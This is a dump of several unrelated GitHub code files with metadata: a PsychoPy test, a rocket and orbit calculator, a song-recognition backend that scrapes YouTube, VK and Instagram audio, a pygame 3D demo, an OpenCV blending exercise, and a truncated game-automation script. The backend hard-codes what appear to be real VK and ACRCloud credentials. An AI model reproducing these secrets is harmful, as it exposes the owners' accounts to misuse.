"usage_type": "argument"}, {"api_name": "iredis.commands.split_command_args", "line_number": 94, "usage_type": "call"}, {"api_name": "pytest.mark.parametrize", "line_number": 88, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 88, "usage_type": "attribute"}, {"api_name": "pytest.raises", "line_number": 98, "usage_type": "call"}, {"api_name": "iredis.exceptions.InvalidArguments", "line_number": 98, "usage_type": "argument"}, {"api_name": "iredis.commands.split_command_args", "line_number": 99, "usage_type": "call"}, {"api_name": "iredis.commands.commands_summary.items", "line_number": 103, "usage_type": "call"}, {"api_name": "iredis.commands.commands_summary", "line_number": 103, "usage_type": "name"}, {"api_name": "prompt_toolkit.print_formatted_text", "line_number": 104, "usage_type": "call"}, {"api_name": "iredis.utils.command_syntax", "line_number": 104, "usage_type": "call"}, {"api_name": "iredis.style.STYLE", "line_number": 104, "usage_type": "name"}, {"api_name": "iredis.commands.split_unknown_args", "line_number": 120, "usage_type": "call"}, {"api_name": "pytest.mark.parametrize", "line_number": 107, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 107, "usage_type": "attribute"}]}
{"seq_id": "14393132404", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n#############################################################################\n# This script contains all test functions for some helper functions\n# Eventu<lly, every helper function has to have its test function\n# DIsclaimer, not all test functions have \"assert\" statements. The funtionality\n# for some of them dependo on what is succesfully printed on the screen as an\n# image.\n\ndef test_window_3masks():\n    '''\n    Draws mask of for a screen, so that the smaller screen is insede the big\n    one like the scheme: the center (C) at the top of the small screen is in\n    the center of the big one and that the big screen fills all the resolution\n    in the x-axis.\n\n\n                        #######################\n                        #                     #\n                        #                     #\n                        #                     #\n                        #     #####C#####     #\n                        #     #         #     #\n                        #     #         #     #\n                        #     #         #     #\n                        #######################\n\n\n    Screen size of my laptop in psychopy = 1536,864\n    '''\n\n    import psychopy\n    from psychopy import visual,core,logging,event, gui, monitors\n    from psychopy.visual.windowwarp import Warper # perspective correction\n    from helper import window_3masks\n\n    # Windows creatinon\n    _width = 400\n    _height = 400\n    _monitor = 'testMonitor'\n\n    win = visual.Window(fullscr = False, monitor=_monitor,\n                                size = [_width,_height], viewScale = [1,1],\n                                screen = 0,\n                                color=[-1,-1,-1],useFBO = True,allowGUI=False,\n                                viewOri = 0.0)\n\n\n    win_mask_ls  = window_3masks(win=win,_monitor = 'testMonitor')\n\n    # Stimulus creation #\n    circle_stim = visual.Circle(win=win, radius=400, units='pix',\n                        fillColor=[1,1,1], edges = 128)\n\n\n    # Stimulus drawing\n    circle_stim.draw()\n    win.flip()\n    win_mask_ls[0].flip()\n    win_mask_ls[1].flip()\n    win_mask_ls[2].flip()\n\n    core.wait(3)\n\n    win.close()\n    win_mask_ls[0].close()\n    win_mask_ls[1].close()\n    win_mask_ls[2].close()\n    '''\n    # Printing useful info\n    print(f\"The used monitor '{win.monitor.name}' has a resolution of: {win.monitor.getSizePix()} pixels\")\n    print(f\"Main screnn located at: {win.pos} pixels\")\n    print(type(win.size[0]))\n    print(win.size[1])\n    '''\n\n\n\n\ndef test_window_4masks(_width=400,_height= 400,_xpos=568,_ypos=232):\n\n    '''\n    NOT FINISHED, check TODO\n\n    Draws mask of for a screen, so that the smaller screen is insede the big\n    one like the scheme: the center (C) at the top of the small screen is in\n    the center of the big one and that the big screen fills all the resolution\n    in the x-axis.\n\n\n                        #######################\n                        #                     #\n                        #                     #\n                        #     #####C#####     #\n                        #     #         #     #\n                        #     #         #     #\n                        #     #         #     #\n                        #     ###########     #\n                        #                     #\n                        #######################\n\n\n    Screen size of my laptop in psychopy = 1536,864\n    '''\n\n\n    import psychopy\n    from psychopy import visual,core,logging,event, gui, monitors\n    from psychopy.visual.windowwarp import Warper # perspective correction\n    from helper import max_horizontal_angle\n\n\n\n\n    ########################## Windows creation ############################\n\n    win = visual.Window(fullscr = False, monitor='testMonitor',\n                                size = [_width,_height], viewScale = [1,1],\n                                screen = 0, pos = [_xpos,_ypos],\n                                color=[-1,-1,-1],useFBO = True,allowGUI=False,\n                                viewOri = 0.0)\n\n    scr_width = win.scrWidthCM\n    scr_distance = win.scrDistCM\n    maxhorang = max_horizontal_angle(scr_width, scr_distance)\n\n    # TO DO: midified the aboved code to move the small screen up 15 deg and add a 4th mask\n    '''\n    win_mask_sizes =[[_width,_height/2],[_width/4,_height],[_width/4,_height]]\n    win_mask_positions =[[_xpos,_ypos],[_xpos,_ypos],[_xpos+(3*(_width/4)),_ypos]]\n\n    win_mask_0 = visual.Window(fullscr = False, monitor='testMonitor',\n                                size = win_mask_sizes[0], viewScale = [1,1],\n                                screen = 0, pos = win_mask_positions[0],\n                                color=[-1,-1,-1],useFBO = True,allowGUI=False,\n                                viewOri = 0.0)\n\n    win_mask_1 = visual.Window(fullscr = False, monitor='testMonitor',\n                                size = win_mask_sizes[1], viewScale = [1,1],\n                                screen = 0, pos = win_mask_positions[1],\n                                color=[-1,-1,-1],useFBO = True,allowGUI=False,\n                                viewOri = 0.0)\n\n    win_mask_2 = visual.Window(fullscr = False, monitor='testMonitor',\n                                size = win_mask_sizes[2], viewScale = [1,1],\n                                screen = 0, pos = win_mask_positions[2],\n                                color=[-1,-1,-1],useFBO = True,allowGUI=False,\n                                viewOri = 0.0)\n\n\n    ########################## Stimulus creation ############################\n\n    circle_stim = visual.Circle(win=win, radius=400, units='pix',fillColor=[1,1,1], edges = 128)\n\n\n     ########################## Stimulus drawing ############################\n    circle_stim.draw()\n    win.flip()\n    win_mask_0.flip()\n    win_mask_1.flip()\n    win_mask_2.flip()\n\n    core.wait(5)\n\n    win.close()\n    win_mask_0.close()\n    win_mask_1.close()\n    win_mask_2.close()\n\n\n    ########################### Printing useful info ########################\n    print(f\"The used monitor '{win.monitor.name}' has a resolution of: {win.monitor.getSizePix()} pixels\")\n    print(f\"Main screnn located at: {win.pos} pixels\")\n    '''\n", "repo_name": "sebasto7/pyVisualStim", "sub_path": "modules/testing_codes.py", "file_name": "testing_codes.py", "file_ext": "py", "file_size_in_byte": 6213, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "psychopy.visual.Window", "line_number": 43, "usage_type": "call"}, {"api_name": "psychopy.visual", "line_number": 43, "usage_type": "name"}, {"api_name": "helper.window_3masks", "line_number": 50, "usage_type": "call"}, {"api_name": "psychopy.visual.Circle", "line_number": 53, "usage_type": "call"}, {"api_name": "psychopy.visual", "line_number": 53, "usage_type": "name"}, {"api_name": "psychopy.core.wait", "line_number": 64, "usage_type": "call"}, {"api_name": "psychopy.core", "line_number": 64, "usage_type": "name"}, {"api_name": "psychopy.visual.Window", "line_number": 118, "usage_type": "call"}, {"api_name": "psychopy.visual", "line_number": 118, "usage_type": "name"}, {"api_name": "helper.max_horizontal_angle", "line_number": 126, "usage_type": "call"}]}
{"seq_id": "34436010274", "text": "import numpy as np\r\nfrom pandas import period_range\r\nfrom scipy.optimize import root\r\nimport matplotlib.pyplot as plt\r\nfrom matplotlib.offsetbox import AnchoredText\r\nfrom matplotlib import animation\r\n\r\ndef solicitar_requerimientos(requirements):\r\n    datos_exportados=[]\r\n    #Recorre la lista de requerimientos para una función\r\n    for n in requirements:\r\n        datum=float(input(f\"Por favor introduzca el {n} \")) \r\n        datos_exportados.append(datum)\r\n    return datos_exportados\r\n\r\ndef calcular_masa_total_minima_launch(check):\r\n    #Datos Default\r\n    # mu = 0.172 #Coeficiente de masa total\r\n    # e = 0.08 #Coeficiente de masa estructural\r\n    # delta_v = 7000.0 #Delta v requerido (m/s)\r\n    # m_c = 500.0 #Masa de carga (kg)\r\n    # I_sp = 311.0 #Impulso especifico (s)\r\n    # g0 = 9.81 #Aceleracion gravitacional en la superficie terrestre (m/s^2)\r\n    # m_p = 321.21 #Flujo masico (kg/s)\r\n    \r\n    if check ==1: #Caso de usar datos propios\r\n        requerimientos=[\"Coeficiente de Masa Total (μ)\",\r\n        \"Coeficiente de Masa estructural(e)\",\r\n        \"ΔV\",\r\n        \"Payload(Masa de carga)\",\r\n        \"Impulso Específico\",\r\n        \"Aceleración Gravitacional (m/s^2)\",\r\n        \"Flujo Másico (kg/s)\"\r\n        ]\r\n        datos_solicitados=solicitar_requerimientos(requerimientos)\r\n        datos_necesarios = {\r\n        \"mu\":datos_solicitados[0],\r\n        \"e\":datos_solicitados[1],\r\n        \"delta_v\":datos_solicitados[2],\r\n        \"m_c\":datos_solicitados[3],\r\n        \"I_sp\":datos_solicitados[4],\r\n        \"g0\":datos_solicitados[5],\r\n        \"m_p\":datos_solicitados[6]\r\n        }\r\n    \r\n    elif check ==2: #Caso de usar los datos default\r\n        datos_necesarios = {\r\n        \"mu\": 0.172,\r\n        \"e\":0.08,\r\n        \"delta_v\":7000,\r\n        \"m_c\":500,\r\n        \"I_sp\":311,\r\n        \"g0\":9.81,\r\n        \"m_p\":321.21\r\n        }\r\n    def funcion_optimizable(x): #Definicion de la funcion que se va a optimizar.\r\n        f = datos_necesarios[\"g0\"]*datos_necesarios[\"I_sp\"]*np.log(x/(datos_necesarios[\"e\"]*(x-datos_necesarios[\"m_c\"])+datos_necesarios[\"m_c\"]))-(datos_necesarios[\"g0\"]*x*(1-datos_necesarios[\"mu\"])/datos_necesarios[\"m_p\"])-datos_necesarios[\"delta_v\"]\r\n        return f\r\n\r\n    m_0 = root(fun=funcion_optimizable,x0=10000) #Se usa un estimado inicial de m_0 = 10000 kg.\r\n    return m_0.x[0]#Se retorna el valor de interés\r\n\r\ndef calcular_posiciones_orbit(e,a,nombre):\r\n    \"\"\"\r\n    Estructura de datos ej:\r\n    resultado = [punto en x, puntos en y, apogeo, perigeo, coodenadas apo, coordenadas peri]\r\n    \"\"\"\r\n    resultado = [] #\r\n    x=[]\r\n    y=[]\r\n    perio=843840923843290\r\n    apo=0\r\n    coordenadas_apo={\"x\":0,\"y\":0}\r\n    coordenadas_perio={\"x\":0,\"y\":0}\r\n    coleccion = np.linspace(0,2*3.1415927585,500)\r\n    for cuenta,phi in enumerate(coleccion):\r\n        r = (a*(1-e**2))/(1+e*np.cos(phi))\r\n        #r = (1*(1-e**2))/(1+e*np.cos(phi))\r\n        x.append(r*np.cos(phi))\r\n        y.append(r*np.sin(phi))\r\n        distancia= (x[cuenta]**2 + y[cuenta]**2)**(1/2)\r\n        if distancia>apo:\r\n            apo = distancia\r\n            coordenadas_apo[\"x\"]=x[cuenta]\r\n            coordenadas_apo[\"y\"]=y[cuenta]\r\n        elif distancia<perio:\r\n            perio=distancia\r\n            coordenadas_perio[\"x\"]=x[cuenta]\r\n            coordenadas_perio[\"y\"]=y[cuenta]\r\n    resultado.append(x)\r\n    resultado.append(y)\r\n    resultado.append(apo)\r\n    resultado.append(perio)\r\n    resultado.append(coordenadas_apo)\r\n    resultado.append(coordenadas_perio)\r\n    resultado.append(nombre)\r\n    return resultado\r\n\r\ndef dibujar_orbita(databas):\r\n    fig = plt.figure()\r\n    ax=fig.add_subplot()\r\n    ax.set_title(\"Órbita solicitada\")\r\n    ax.set_xlabel(\"Eje X en UA\")\r\n    ax.set_ylabel(\"Eje y en UA\")\r\n    ax.set_facecolor('black')\r\n    ax.plot(0,0,marker=f\"$✦$\",markersize=4,label=\"Centro de Masa\",color=\"yellow\")\r\n    for n in databas:\r\n        database = n\r\n        linea,=ax.plot(database[0],database[1],'-',label = f\"Trayectoria de la Orbita {database[6]}\")\r\n        ax.legend(loc='lower right',prop={'size': 6})\r\n    point,=ax.plot(0,0,marker=8,color=\"red\",label=\"Cuerpo en Orbita\")\r\n    def update_point(n, x, y,point):\r\n        point.set_data(np.array([x[n], y[n]]))\r\n        return point\r\n    ani=animation.FuncAnimation(fig, update_point, fargs=(database[0], database[1], point),interval=1)\r\n    writergif = animation.PillowWriter(fps=30) \r\n    ani.save(\"orbita.gif\",writer=writergif)\r\n\r\n", "repo_name": "Wizardofsoyuk/AstroToolKit", "sub_path": "modulos.py", "file_name": "modulos.py", "file_ext": "py", "file_size_in_byte": 4428, "program_lang": "python", "lang": "es", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "numpy.log", "line_number": 57, "usage_type": "call"}, {"api_name": "scipy.optimize.root", "line_number": 60, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 75, "usage_type": "call"}, {"api_name": "numpy.cos", "line_number": 77, "usage_type": "call"}, {"api_name": "numpy.cos", "line_number": 79, "usage_type": "call"}, {"api_name": "numpy.sin", "line_number": 80, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 100, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 100, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 113, "usage_type": "call"}, {"api_name": "matplotlib.animation.FuncAnimation", "line_number": 115, "usage_type": "call"}, {"api_name": "matplotlib.animation", "line_number": 115, "usage_type": "name"}, {"api_name": "matplotlib.animation.PillowWriter", "line_number": 116, "usage_type": "call"}, {"api_name": "matplotlib.animation", "line_number": 116, "usage_type": "name"}]}
{"seq_id": "70234004426", "text": "from pytube import YouTube\nfrom moviepy.video.io.ffmpeg_tools import ffmpeg_extract_subclip, ffmpeg_extract_audio\nimport random\nimport vk_api\nimport os\nimport sys\nimport requests\nimport json\nimport re\nfrom bs4 import BeautifulSoup\nfrom acrcloud.recognizer import ACRCloudRecognizer\n\n\nclass backend():\n\t'''Бэкэнд сайта'''\n\tdef __init__(self, request):\n\t\t'''Инициализация реквест запроса'''\n\t\tself.request = request \n\t\tself.name = self.generate_name()\n\t\tself.result = ''\n\tdef generate_name(self):\n\t\t'''Генерация имени файла'''\n\t\tgenerate_array = ['A', 'a', 'B', 'b', 'C', 'c', 'D', 'd', 'E', 'e', 'F', 'f', 'G', 'g', 'H', 'h', 'I', 'i', 'J', 'j', 'K', 'k', 'L', 'l', 'M', 'm', 'N', 'n', 'O', 'o', 'P', 'p', 'Q', 'q', 'R', 'r', 'S', 's', 'T', 't', 'U', 'u', 'V', 'v', 'W', 'w', 'X', 'x', 'Y', 'y', 'Z', 'z', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0']\n\t\tname = ''\n\t\tfor i in range(40):\n\t\t\tname += generate_array[random.randint(0, len(generate_array) - 1)]\n\t\treturn name \n\n\n\tdef valid_time(self, time):\n\t\t'''Валидация времени'''\n\t\ttimespl = time.split(':')\n\t\tif len(timespl) != 2:\n\t\t\treturn 'error'\n\t\telse:\n\t\t\ttry:\n\t\t\t\ttime1 = int(timespl[0])\n\t\t\t\ttime2 = int(timespl[1])\n\t\t\texcept:\n\t\t\t\treturn 'error'\n\t\t\tif time1 <= 59 and time1 >= 0 and time2 <= 59 and time2 >= 0:\n\t\t\t\treturn 'ok'\n\t\t\telse:\n\t\t\t\treturn 'error' \n\n\n\tdef validator(self):\n\t\t'''Валидация'''\n\t\tif 'timeof' in self.request.GET and 'timeto' in self.request.GET and 'link' in self.request.GET:\n\t\t\ttimeof = self.request.GET['timeof']\n\t\t\ttimeto = self.request.GET['timeto']\n\t\t\ttimeofvalid = self.valid_time(timeof)\n\t\t\ttimetovalid = self.valid_time(timeto)\n\t\t\tif timeofvalid == 'ok' and timetovalid == 'ok':\n\t\t\t\ttime = True\n\t\t\telse:\n\t\t\t\treturn 'time_error'\n\n\t\t\tif self.request.GET['link'][0: 24] == 'https://www.youtube.com/' and time == True:\n\t\t\t\tyoutube = self.install_youtube()\n\t\t\t\tif youtube == 'ok':\n\t\t\t\t\tcheck = self.check_music()\n\t\t\t\t\tif check == 'ok':\n\t\t\t\t\t\treturn 'ok|' + self.result\n\t\t\t\telif youtube == 'link_error':\n\t\t\t\t\treturn 'link_error'\n\t\t\t\telif youtube == 'time_error':\n\t\t\t\t\treturn 'time_error'\n\t\t\t\t\n\t\t\telif self.request.GET['link'][0: 17] == 'https://youtu.be/' and time == True:\n\t\t\t\tyoutube = self.install_youtube()\n\t\t\t\tif youtube == 'ok':\n\t\t\t\t\tcheck = self.check_music()\n\t\t\t\t\tif check == 'ok':\n\t\t\t\t\t\treturn 'ok|' + self.result\n\t\t\t\telif youtube == 'link_error':\n\t\t\t\t\treturn 'link_error'\n\t\t\t\telif youtube == 'time_error':\n\t\t\t\t\treturn 'time_error'\n\t\n\t\t\telif self.request.GET['link'][0: 20] == 'https://vk.com/video' and time == True:\n\t\t\t\tvk = self.install_vk()\n\t\t\t\tif vk == 'ok':\n\t\t\t\t\tcheck = self.check_music()\n\t\t\t\t\tif check == 'ok':\n\t\t\t\t\t\treturn 'ok|' + self.result\n\t\t\t\telif vk == 'link_error':\n\t\t\t\t\treturn 'link_error'\n\t\t\t\telif vk == 'time_error':\n\t\t\t\t\treturn 'time_error'\n\n\t\t\telif self.request.GET['link'][0: 26] == 'https://www.instagram.com/' and time == True:\n\t\t\t\tinsta = self.install_insta()\n\t\t\t\tif insta == 'ok':\n\t\t\t\t\tcheck = self.check_music()\n\t\t\t\t\tif check == 'ok':\n\t\t\t\t\t\treturn 'ok|' + self.result\n\t\t\t\telif insta == 'link_error':\n\t\t\t\t\treturn 'link_error'\n\t\t\t\telif insta == 'time_error':\n\t\t\t\t\treturn 'time_error'\t\n\t\t\telse:\n\t\t\t\treturn 'error'\n\t\telse:\n\t\t\treturn 'error'\n\n\tdef install_youtube(self):\n\t\t'''Скачивание видео из ютуба'''\n\t\tlink = self.request.GET['link']\n\t\ttimeof = self.request.GET['timeof'].split(':')\n\t\ttimeto = self.request.GET['timeto'].split(':')\n\t\ttimeof_seconds = int(timeof[0]) * 60 + int(timeof[1])\n\t\ttimeto_seconds = int(timeto[0]) * 60 + int(timeto[1])\n\t\tif timeto_seconds - timeof_seconds > 30 and timeto_seconds - timeof_seconds < 1:\n\t\t\treturn 'link_error'\n\t\ttry:\n\t\t\tstream = YouTube(link).streams.filter(only_audio=True, mime_type='audio/mp4').desc().first().url\n\t\t\tprint(stream)\n\t\texcept:\n\t\t\treturn 'link_error'\n\t\tffmpeg_extract_subclip(stream, timeof_seconds, timeto_seconds, targetname=\"audio/{}.mp4\".format(self.name))\n\t\treturn 'ok'\n\n\tdef install_vk(self):\n\t\t'''Скачивание видео из вк'''\n\t\tvideos = self.request.GET['link'].strip('https://vk.com/video')\n\t\tvideos = videos.split('?')[0]\n\t\ttoken = 'ae1f79f5b6f3ff797737b9462904dc1c0b531fb8a95e3cff8d8ea45d2dab94fb223ba4a814879dfc7c829'\n\t\tvk = vk_api.VkApi(token=token)\n\t\tvk._auth_token()\n\t\tvideo_url = vk.method(\"video.get\", \n\t\t{\n\t\t'videos' : videos,\n\t\t'extended': True,\n\t\t})\t\n\t\tif len(video_url['items']) > 0:\n\t\t\turl = video_url['items'][0]['files']['mp4_240']\n\t\telse:\n\t\t\treturn 'link_error'\n\t\ttimeof = self.request.GET['timeof'].split(':')\n\t\ttimeto = self.request.GET['timeto'].split(':')\n\t\ttimeof_seconds = int(timeof[0]) * 60 + int(timeof[1])\n\t\ttimeto_seconds = int(timeto[0]) * 60 + int(timeto[1])\n\t\tif timeto_seconds - timeof_seconds > 30 and timeto_seconds - timeof_seconds < 1:\n\t\t\treturn 'time_error'\n\t\tffmpeg_extract_subclip(url, timeof_seconds, timeto_seconds, targetname=\"audio/{}.mp4\".format(self.name))# + '000'\n\t\t# ffmpeg_extract_audio(\"audio/{}.mp4\".format(self.name + '000'), \"audio/{}.mp4\".format(self.name), bitrate=3000, fps=44100)\n\t\t# path = os.path.join(os.path.abspath(os.getcwd()), 'audio/{}.mp4'.format(self.name + '000'))\n\t\t# os.remove(path)\n\t\treturn 'ok'\n\n\tdef install_insta(self):\n\t\t'''Скачивание видео из инстаграма''' \n\t\tlink_to_video = self.request.GET['link']\n\t\tresponse = requests.get(link_to_video)\n\t\ttext_for_parser = response.content\n\t\ttext_for_parser = str(text_for_parser)\n\t\tregxp =  '(http[^\"]+mp4)'\n\t\tresult = []\n\t\tresult = re.findall(regxp, text_for_parser)\n\t\ttry:\n\t\t\turl = result[0]\n\t\texcept:\n\t\t\treturn 'link_error'\n\t\ttimeof = self.request.GET['timeof'].split(':')\n\t\ttimeto = self.request.GET['timeto'].split(':')\n\t\ttimeof_seconds = int(timeof[0]) * 60 + int(timeof[1])\n\t\ttimeto_seconds = int(timeto[0]) * 60 + int(timeto[1])\n\t\tif timeto_seconds - timeof_seconds > 30 and timeto_seconds - timeof_seconds < 1:\n\t\t\treturn 'time_error'\n\t\tlink = link_to_video.split('?')[0] + '?__a=1'\n\t\tresponse = requests.get(link_to_video).text\n\t\tsoup = BeautifulSoup(response, 'lxml')\n\t\tfor heading in soup.find_all(re.compile(\"^script\")):\n\t\t\tif heading.text.strip()[0:18] == 'window._sharedData':\n\t\t\t\tarr_link = heading.text.strip('window._sharedData = ').split('video_url')[1].split('\"')[2].strip().split('\\\\u0026')\n\t\t\t\turl = ''\n\t\t\t\tfor i in arr_link:\n\t\t\t\t\turl += i + '&'\n\t\tffmpeg_extract_subclip(url, timeof_seconds, timeto_seconds, targetname=\"audio/{}.mp4\".format(self.name))\n\t\treturn 'ok'\n\n\tdef check_music(self):\n\t\t'''Проверка музыки'''\n\t\tconfig = {\n\t\t    'host': 'identify-eu-west-1.acrcloud.com',\n\t\t    'access_key': 'a18a4f6a76f4a6edf47e3204266f8692',\n\t\t    'access_secret': 'iGKRisfMUvAex9mFKTlOloMPPqf3BrMmfxjzL85g',\n\t\t    'debug': False,\n\t\t    'timeout': 10,\n\t\t}\n\t\t\n\t\tacrcloud = ACRCloudRecognizer(config)\n\t\t\n\t\tdata = acrcloud.recognize_by_file(file_path = 'audio/{}.mp4'.format(self.name), start_seconds = 0)\n\t\tdata = json.loads(data)\n\t\tpath = os.path.join(os.path.abspath(os.getcwd()), 'audio/{}.mp4'.format(self.name))\n\t\tos.remove(path)\n\t\ttry:\n\t\t\tname_artist = data['metadata']['music'][0]['artists'][0]['name']\n\t\t\tname_song = data['metadata']['music'][0]['title']\n\t\t\tself.result = str(name_artist) + ' - ' + str(name_song)\n\t\t\treturn 'ok'\n\t\texcept:\n\t\t\tresult_error = data['status']['msg']\n\t\t\tif result_error == 'Missing/Invalid Access Key':\n\t\t\t\tself.result = 'Ошибка на стороне сервера'\n\t\t\t\treturn 'ok'\n\t\t\telif result_error == 'No result':\n\t\t\t\tself.result = 'Песня не найдена'\n\t\t\t\treturn 'ok'", "repo_name": "roaste/shmusic", "sub_path": "shdj/music/oop.py", "file_name": "oop.py", "file_ext": "py", "file_size_in_byte": 7492, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "random.randint", "line_number": 26, "usage_type": "call"}, {"api_name": "pytube.YouTube", "line_number": 117, "usage_type": "call"}, {"api_name": "moviepy.video.io.ffmpeg_tools.ffmpeg_extract_subclip", "line_number": 121, "usage_type": "call"}, {"api_name": "vk_api.VkApi", "line_number": 129, "usage_type": "call"}, {"api_name": "moviepy.video.io.ffmpeg_tools.ffmpeg_extract_subclip", "line_number": 146, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 155, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 160, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 172, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 173, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 174, "usage_type": "call"}, {"api_name": "moviepy.video.io.ffmpeg_tools.ffmpeg_extract_subclip", "line_number": 180, "usage_type": "call"}, {"api_name": "acrcloud.recognizer", "line_number": 193, "usage_type": "name"}, {"api_name": "acrcloud.recognizer.ACRCloudRecognizer", "line_number": 193, "usage_type": "call"}, {"api_name": "acrcloud.recognizer.recognize_by_file", "line_number": 195, "usage_type": "call"}, {"api_name": "acrcloud.recognizer", "line_number": 195, "usage_type": "name"}, {"api_name": "json.loads", "line_number": 196, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 197, "usage_type": "call"}, {"api_name": "os.path", "line_number": 197, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 197, "usage_type": "call"}, {"api_name": "os.getcwd", "line_number": 197, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 198, "usage_type": "call"}]}
{"seq_id": "8727553761", "text": "from td import *\nimport pygame\npygame.init()\n\nwidth, height = 400, 400\nsc = pygame.display.set_mode([width, height])\npygame.display.set_caption('3D Test')\n\nframe = 0\n\nc = FPSCamera(Vector3(-5, 0, 0), Vector3(0, 0, 0), 1, 0.05, aspect_ratio=width/height)\no1 = Cube(Vector3(1, 1, 1), 10, [(255, 0, 0), (255, 0, 0), (0, 255, 0), (0, 255, 0), (0, 0, 255), (0, 0, 255)])\no2 = Cube(Vector3(20, 1, 1), 5, [(255, 255, 0), (255, 255, 0), (0, 255, 255), (0, 255, 255), (255, 0, 255), (255, 0, 255)])\nscene1 = Scene([o1, o2])\n\n\ndef update():\n    sc.fill((0, 0, 0))\n    scene1.render(sc, c)\n    o1.rotate(Vector3(0.01, 0, 0.01))\n    o2.move(Vector3(sin(PI/30 * frame), 0, 0))\n    c.update(scene1)\n    pygame.display.update()\n\n\nclock = pygame.time.Clock()\nwhile True:\n    frame += 1\n    clock.tick(60)\n    for event in pygame.event.get():\n        if event.type == pygame.QUIT:\n            exit()\n    \n    update()\n", "repo_name": "Pokhanpat/3D-Engine", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 901, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "pygame.init", "line_number": 3, "usage_type": "call"}, {"api_name": "pygame.display.set_mode", "line_number": 6, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 6, "usage_type": "attribute"}, {"api_name": "pygame.display.set_caption", "line_number": 7, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 7, "usage_type": "attribute"}, {"api_name": "pygame.display.update", "line_number": 23, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 23, "usage_type": "attribute"}, {"api_name": "pygame.time.Clock", "line_number": 26, "usage_type": "call"}, {"api_name": "pygame.time", "line_number": 26, "usage_type": "attribute"}, {"api_name": "pygame.event.get", "line_number": 30, "usage_type": "call"}, {"api_name": "pygame.event", "line_number": 30, "usage_type": "attribute"}, {"api_name": "pygame.QUIT", "line_number": 31, "usage_type": "attribute"}]}
{"seq_id": "10038501055", "text": "import numpy as np, cv2\n\nimage1 = cv2.imread(\"../../resources/images6/add1.jpg\", cv2.IMREAD_GRAYSCALE)\nimage2 = cv2.imread(\"../../resources/images6/add2.jpg\", cv2.IMREAD_GRAYSCALE)\nif image1 is None or image2 is None: raise Exception(\"영상파일 읽기 오류\")\n\nalpha, beta = 0.6, 0.7\nadd_img1 = cv2.add(image1, image2) # saturation\nadd_img2 = cv2.add(image1 * alpha, image2 * beta) # modulo가 적용되고 더해졌다?\nadd_img2 = np.clip(add_img2, 0, 255).astype('uint8')\n# add_img3 = cv2.addWeighted(image1, alpha, image2, beta, 0)\nadd_img3 = cv2.addWeighted(image1, alpha, image2, 1-alpha, 0)\nadd_img4 = cv2.add(image1 * alpha, image2 * (1 - alpha))\nadd_img4 = np.clip(add_img4, 0, 255).astype('uint8')\n\ntitles = ['image1', 'image2', 'add_img1', 'add_img2', 'add_img3', 'add_img4']\nfor t in titles: cv2.imshow(t, eval(t))\ncv2.waitKey(0)", "repo_name": "IndiaInk10/PatternRecognition", "sub_path": "exercise/06_pixel_processing/06_05_image_synthesis.py", "file_name": "06_05_image_synthesis.py", "file_ext": "py", "file_size_in_byte": 844, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "cv2.imread", "line_number": 3, "usage_type": "call"}, {"api_name": "cv2.IMREAD_GRAYSCALE", "line_number": 3, "usage_type": "attribute"}, {"api_name": "cv2.imread", "line_number": 4, "usage_type": "call"}, {"api_name": "cv2.IMREAD_GRAYSCALE", "line_number": 4, "usage_type": "attribute"}, {"api_name": "cv2.add", "line_number": 8, "usage_type": "call"}, {"api_name": "cv2.add", "line_number": 9, "usage_type": "call"}, {"api_name": "numpy.clip", "line_number": 10, "usage_type": "call"}, {"api_name": "cv2.addWeighted", "line_number": 12, "usage_type": "call"}, {"api_name": "cv2.add", "line_number": 13, "usage_type": "call"}, {"api_name": "numpy.clip", "line_number": 14, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 17, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 18, "usage_type": "call"}]}
{"seq_id": "20642214832", "text": "from lib.BaseModule import BaseModule\r\nfrom lib.gui_controls import Controls\r\nfrom loguru import logger\r\nimport time\r\n\r\n# 采集\r\nclass CaiJi(BaseModule):\r\n\r\n    is_act = False\r\n\r\n    def __init__(self):\r\n        logger.info(\"初始化采集模块\")\r\n\r\n    def update_hwnd(self,hwnd):\r\n        Controls.activate_hwnd(hwnd)\r\n        self.flush(hwnd)\r\n        Controls.un_activate_hwnd(hwnd)\r\n        \r\n    def flush(self,hwnd):\r\n        for x in range(680,720,5):\r\n            if self.check_shiqu(hwnd,x,40):\r\n                return\r\n        for x in range(675,730,5):\r\n            if self.check_shiqu(hwnd,x,50):\r\n                return\r\n        for x in range(650,745,5):\r\n            if self.check_shiqu(hwnd,x,60):\r\n                return\r\n        for x in range(640,750,5):\r\n            if self.check_shiqu(hwnd,x,70):\r\n                return\r\n        for x in range(637,755,5):\r\n            if self.check_shiqu(hwnd,x,80):\r\n                return\r\n        for x in range(637,750,5):\r\n            if self.check_shiqu(hwnd,x,90):\r\n                return\r\n        for x in range(650,750,5):\r\n            if self.check_shiqu(hwnd,x,100):\r\n                return\r\n        for x in range(638,753,5):\r\n            if self.check_shiqu(hwnd,x,110):\r\n                return\r\n        for x in 